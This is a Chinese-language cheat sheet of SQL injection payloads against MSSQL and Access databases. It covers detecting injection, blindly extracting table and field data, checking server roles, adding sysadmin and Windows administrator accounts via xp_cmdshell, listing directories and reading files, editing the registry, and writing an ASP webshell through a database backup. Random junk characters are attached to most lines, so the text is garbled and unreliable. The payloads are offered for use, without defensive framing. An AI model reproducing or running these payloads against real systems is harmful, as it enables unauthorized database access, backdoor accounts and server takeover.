1.判断是否有注入;and 1=1 ;and 1=2 ajn-KG!A
2.初步判断是否是mssql ;and user>0 _QR
g7
8>UKIdp
3.注入参数是字符'and [查询条件] and ''=' Fr-[UZ~V
:GQUM 6
4.搜索时没过滤参数的'and [查询条件] and '%25'=' I4)Nb WQ
?75\>NiR
5.判断数据库系统 Dp*:Q){>E
8q?;2w\l
;and (select count(*) from sysobjects)>0 mssql >']+OrQH
C"w,('~@kW
;and (select count(*) from msysobjects)>0 access GDF{Lf)/v
NB EpM
$ye^uu;Z
xXF2"+
6.猜数据库 ;and (select Count(*) from [数据库名])>0 (NX)oP
]}Pl%.
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [ S5bj]D
[#p&D~Du&
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 >DL/..
jm[}M
9.(1)猜字段的ascii值(access) wL;]1&Qq
lDo(@nM
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Bwjg#1 E
$^t<9"t
(2)猜字段的ascii值(mssql) ,Ij=b
#wF1
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Dy su{rL
p ZtgIS(3
10.测试权限结构(mssql) lLH$`Wnv
zK=dzoy
l '/N3&5
3[VWTq)D=
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- [*<.?9n)or
(vKI1^,
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- }mKwFVZ
$,TGP+vH
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- :/B:FY=
{VR`;
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ( :{"C6x
NS@{~;#R
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- sGSsUO:@j;
VBM/x|'
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- J{d(1gSZ
UR}kB&t
;and 1=(select IS_MEMBER('db_owner'));-- K"L_`.&Q
U
IfH*6X
"3SWO3-x
AM'gnP>
11.添加mssql和系统的帐户 *8PN!^
q/$GE,"
;exec master.dbo.sp_addlogin username;-- vv &BhIf3
;exec master.dbo.sp_password null,username,password;-- 1] j^d
> @+#
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- X(]Zr
!i^]UN
;exec master.dbo.xp_cmdshell 'net user username password }qAVN
L1wZU, o
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- P.cO6+jGR
j eq:
;exec master.dbo.xp_cmdshell 'net user username password /add';-- RX'-99M
w:}C8WKw
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3qtr9NI
vf<UBa;Xm
M ?*Tf&
Gg|M+M?+
12.(1)遍历目录 lyyX<=E{)
^_68]l=
;create table dirs(paths varchar(100), id int) O+_N!/
ZHCr2^w6
;insert dirs exec master.dbo.xp_dirtree 'c:\' Q[uAIyv0
77*qkKr
;and (select top 1 paths from dirs)>0 cx{T
'1
4O(@'#LLz
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) r,4lqar;E
OEnDsIhq
W5.Va.
dAL3. %
(2)遍历目录 cD2+hp|9
&Yf",KcL*I
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- n_P3\Y|
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 qaG# ;
hL!QLiF:
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 !,Nwts>m
1CkdpYjsj
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 mibpG9+d
VYaSB?`/
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 j)Y[4 ^k^
+{$QAjW(/
\3zp)J
rQJ"&CapT
13.mssql中的存储过程 K"\MU
Hm
fXe
xp_regenumvalues 注册表根键, 子键 wzh]97b
GX?*1
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Km!nM$=k
R*9NR,C
xp_regread 根键,子键,键值名 wAFW*rO5o
v$Uhm</|19
;exec xp_regread `ZMK9f:
u[")*\CP
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 S@xXq{j
pzhl*ss"6
xp_regwrite 根键,子键, 值名, 值类型, 值 nNaXp*J
RV+E^pkp$
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 q+ pOrGh
U>P|X=)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 \4{2eU
qaVy.
xp_regdeletevalue 根键,子键,值名 ;:mu}
DG[%Nhle
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 !tXZ%BP.u
PB9/m-\H
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 uP@\#/4u
2r&R"B1`(
_w(ln9
xx)-d,S
14.mssql的backup创建webshell }T.?c9l X
?D|\]0 eN
use model k6(r !mc
h2w}wsb0l
create table cmd(str image); C4\,z\Q
<G~>~L.E
insert into cmd(str) values (''); $bsH$N#6T
{G3i0r
backup database model to disk='c:\l.asp'; rNlW7Y
E4i0i!<z
QA;!caNp
3s*(uS(
15.mssql内置函数 W3rl^M=r
eZL MP
;and (select @@version)>0 获得Windows的版本号 + G;LX'B
iY0>lDFm.
;and user_name()='dbo' 判断当前系统的连接用户是不是sa aWy]9F&C:
z;Q<F
;and (select user_name())>0 爆当前系统的连接用户 2i7e#
8)yI<`q6
;and (select db_name())>0 得到当前连接的数据库 5$rSEVg9
h}L}[
L]d-33.c!H
EQ<RDhC@b
16.简洁的webshell nSx]QREL!
Paj vb-f
use model r~7:daG*
M4m$\~zf
create table cmd(str image); hs+kr?Pg`
T
vtm`Yk\
insert into cmd(str) values (''); {9LWUCpsf
Bs;|D
backup database model to disk='g:\wwwtest\l.asp';